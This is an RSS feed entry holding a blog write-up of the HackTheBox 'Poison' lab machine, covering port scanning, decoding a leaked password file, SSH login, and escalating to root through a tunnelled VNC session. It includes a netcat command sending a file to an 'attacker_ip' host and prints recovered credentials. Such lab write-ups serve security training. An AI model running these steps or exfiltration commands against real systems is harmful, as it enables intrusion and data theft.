<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Poison Archives -</title>
	<atom:link href="https://barriersec.com/category/hackthebox/poison/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/hackthebox/poison/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:18:32 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Poison Archives -</title>
	<link>https://barriersec.com/category/hackthebox/poison/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HackTheBox – Poison Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-poison-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 08 Sep 2018 20:35:02 +0000</pubDate>
				<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[Poison]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[poison]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=164</guid>

					<description><![CDATA[<p>Posion machine on hackthebox retired Today  anddd  I will explain, how I solved Poison box on HacktheBox. This box was&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-poison-writeup/">HackTheBox – Poison Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Posion</strong> machine on hackthebox retired Today  anddd  I will explain, how I solved Poison box on HacktheBox. This box was one of the earlier machines attempted ..and its fairly easier one to crack.</p>
<p>Lets begin our enumeration  with <strong>Nmap</strong> scan.</p>
<p><strong>nmap -sC -sV 10.10.10.84 -T4</strong></p>
<p><strong>Nmap scan report for 10.10.10.84</strong><br />
<strong>Host is up (0.24s latency).</strong><br />
<strong>Not shown: 998 closed ports</strong><br />
<strong>PORT STATE SERVICE VERSION</strong><br />
<strong>22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)</strong><br />
<strong>80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)</strong><br />
<strong>Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd</strong></p>
<p>From Nmap scan, we have two ports (22 and 80) open. its feasible to start our enumeration with the web server port.</p>
<p>On navigating to <strong>http://10.10.10.84,</strong></p>
<p>we find an interesting portal which displays,</p>
<h1><strong>Temporary website to test local .php scripts.</strong></h1>
<p><strong>Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php</strong></p>
<p>&nbsp;</p>
<p>so lets navigate to listfiles.php as it seems interesting.</p>
<p><strong>http://10.10.10.84/listfiles.php</strong></p>
<p>we are greeted with the following content :</p>
<p><strong>Array( [0] =&gt; . [1] =&gt; .. [2] =&gt; browse.php [3] =&gt; index.php [4] =&gt; info.php [5] =&gt; ini.php [6] =&gt; listfiles.php [7] =&gt; phpinfo.php [8] =&gt; pwdbackup.txt)</strong></p>
<p>again, pwdbackup.txt looks interesting. Lets navigate to it:</p>
<p><strong>http://10.10.10.84/listfiles.php</strong></p>
<p>displays :</p>
<p><strong>This password is secure, it&#8217;s encoded atleast 13 times.. what could go wrong really..</strong></p>
<p><strong>Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU</strong><br />
<strong>bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS</strong><br />
<strong>bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW</strong><br />
<strong>M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs</strong><br />
<strong>WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy</strong><br />
<strong>eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G</strong><br />
<strong>WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw</strong><br />
<strong>MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa</strong><br />
<strong>T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k</strong><br />
<strong>WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk</strong><br />
<strong>WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0</strong><br />
<strong>NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT</strong><br />
<strong>Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz</strong><br />
<strong>WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW</strong><br />
<strong>VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO</strong><br />
<strong>Ukd4RVdub3dPVU5uUFQwSwo=</strong></p>
<p>As we see, encoding appears to be base64 . so after decoding the coded text 13 times.</p>
<p>final decoded value : <strong>Charix!2#4%6&amp;8(0</strong></p>
<p>so it appears to be credentials of some sort.  and also username appears to be <strong>charix. </strong></p>
<p>Lets use these credentials to connect through SSH .</p>
<p><strong>ssh charix@10.10.10.84</strong></p>
<p><strong>charix@Poison:~ % whoami</strong><br />
<strong>charix</strong></p>
<p>Andd we are in!</p>
<p>grab the user flag and lets continue our enumeration!</p>
<p><strong>charix@Poison:~ % ls</strong><br />
<strong>secret.zip user.txt</strong></p>
<p>we find an interesting file named secret.zip which is password protected. for some reason i was unable to unzip it on remote machine . so i copied the file to local using netcat :</p>
<p>on our local  machine : <strong>nc -nlvp 1234</strong></p>
<p>on victim machine : <strong>nc -w 3 -nv attacker_ip 1234 &lt; secret.zip</strong></p>
<p>unzip the file with command using the same password which was used for SSH  : <strong>unzip secret.zip<br />
</strong></p>
<p>and we get a file named <strong>secret</strong> as the content of the zip file . Also, we find that there is a vnc server running as root on victim machine.</p>
<p><strong>charix@Poison:~ % ps -aux | grep root</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>root 529 0.0 0.7 23620 7148 v0- I Mon05 0:00.14 Xvnc :1 -deskto</strong><br />
<strong>root 540 0.0 0.3 67220 3288 v0- I Mon05 0:00.04 xterm -geometry</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>charix@Poison:~ %netstat -a</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>tcp4 0 0 localhost.5801 *.* LISTEN</strong><br />
<strong>tcp4 0 0 localhost.5901 *.* LISTEN</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p>as it cannot be accessible from outside , we have to use local port forwarding to connect to it.</p>
<p>lets create a ssh tunnel to local port forward the vnc port.</p>
<p>on one of our terminal,</p>
<p><strong>ssh -L 2345:localhost:5901 charix@10.10.10.84</strong></p>
<p>once connected minimize the terminal to leave the session open.</p>
<p>interpretation of this command is that,</p>
<p><strong>we are instructing ssh to open and listen on port (2345) on our local machine , whichever request hits port 2345 on our machine will be forwarded to server machine(i.e poison machine) on port 5901 through SSH tunnel.</strong></p>
<p>here, localhost should not be confused to our local machine, it implies localhost on server machine(i.e poison machine).</p>
<p>now on a new terminal, lets connect to the vncserver with the extracted <strong>secret</strong> file as password:</p>
<p><strong>vncviewer 127.0.0.1::2345 -passwd secret</strong></p>
<p>we get the VNC session of root user! grab the root.txt flag anndd keep pawning!</p>
<p>stay tuned for more write ups. Have a wonderful day ahead! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-poison-writeup/">HackTheBox – Poison Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
